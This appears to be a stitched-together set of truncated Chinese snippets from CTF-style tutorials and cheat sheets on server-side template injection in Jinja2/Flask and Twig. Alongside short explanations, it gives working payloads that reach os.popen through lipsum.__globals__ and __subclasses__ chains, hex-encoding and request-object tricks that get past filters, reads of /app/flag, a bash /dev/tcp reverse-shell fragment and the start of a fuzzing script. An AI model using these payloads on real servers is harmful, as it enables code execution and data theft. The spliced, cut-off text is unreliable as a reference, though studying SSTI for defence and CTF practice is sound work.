当然还有几个函数可以代替lipsum,也就是在jinja2解析时的globals里面对象,比如url_for和get_flashed_messages,如果过滤了引号,那就可以利用request这个对象进行绕过,如下poc: ssti={{lipsum[request.form.get(request.method)[:11]][request.args.get(request.method)][request.headers[request.method]](request.form....
SSTI漏洞 SSTI(Server-Side Template Injection) 服务端模板注入 服务端接收了用户的输入,将其作为 Web 应用模板内容的一部分。通过模板,Web应用可以把输入转换成特定的HTML格式。在进行目标编译渲染的过程中,若用户插入了相关恶意内容,结果可能导致了敏感信息泄露、代码执行、GetShell 等问题。 基础知识 在jinja2中,存...
{{lipsum.__globals__['os'].popen('ls').read()}} 可以编码绕过 python解析器支持 hex ,unicode编码 (不建议用base64仅python2支持) {{lipsum['\x5f\x5fglobals\x5f\x5f']['os'].popen('cat /app/flag').read()}} Level 7 bl[‘.’] {{lipsum.__globals__['os'].popen('ls').read(...
{{}}:用于将表达式打印到模板输出,比如我们一般在里面输入2-1,2*2,或者是字符串,调用对象的方法,都会渲染出结果 {{2-1}}#输出1{{2*2}}#输出4我们通常会用{{2*2}}简单测试页面是否存在SSTI {##}:表示未包含在模板输出中的注释 ##:有和{%%}相同的效果 这里的模板注入主要用到的是{{}}和{%%} Se...
10 __class__ 返回一个实例所属的类 __mro__ 查看类继承的所有父类,直到object __subclasses__() 获取一个类的子类,返回的是一个列表 __bases__ 返回一个类直接所继承的类(元组形式)__init__ 类实例创建之后调用, 对当前对象的实例的一些初始化 __globals__ 使用方式是 函数名.__globals__,...
SSTI语句构造 第一步,拿到当前类,也就是用__class__ name={{"".__class__}} 第二步,拿到基类,这里可以用__base__,也可以用__mro__ name={{"".__class__.__bases__[0]}}或name={{"".__class__.__mro__[1]}}或name={{"".__class__.__mro__[-1]}} ...
在对Jinjia SSTI注入时,本质是在Jinja的沙箱中进行代码注入,因此很多绕过技巧和python沙箱逃逸是共通的{{}}模板标签过滤{% if xxx %}xxx{% endif %}形式 {% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen(...
SSTI,又称服务端模板注入。其发生在MVC框架中的view层。 服务端接收了用户的输入,将其作为Web 应用模板内容的一部分,在进行目标编译渲染的过程中,执行了用户插入的恶意内容,导致了敏感信息泄露、代码执行、GetShell 等问题。 本文总结了一系列Flask的模板注入利用方式,类似于Cheatsheet(速查表),可能需要一点SSTI的基础...
(bash -i /dev/tcp/127.0 .0 .1/233 2 lipsum .__globals__ .__builtins__ .open(/flag).read() 3 linecache.os.system(ls) 更多的可利用类可以通过遍历筛选 的方式找到 比如对 subprocess.Popen我们可以构造如下f uzz脚本 1 import requests 2 3 url = 4 5 index = 0 6 for i in range(100...
这就是我们所说的服务器端模板注入(SSTI),上面这个例子可能比较傻,但在实际中,漏洞会非常隐蔽、难以发现。比如将许多不同的组件连接在一起传递为模板引擎,但是忽视了其中的某些组件可能包含用户可控的输入等等。 注入原理 使用Twig 模版引擎渲染页面,其中模版含有 {{name}} 变量,其模版变量值来自于 GET 请求参数 ...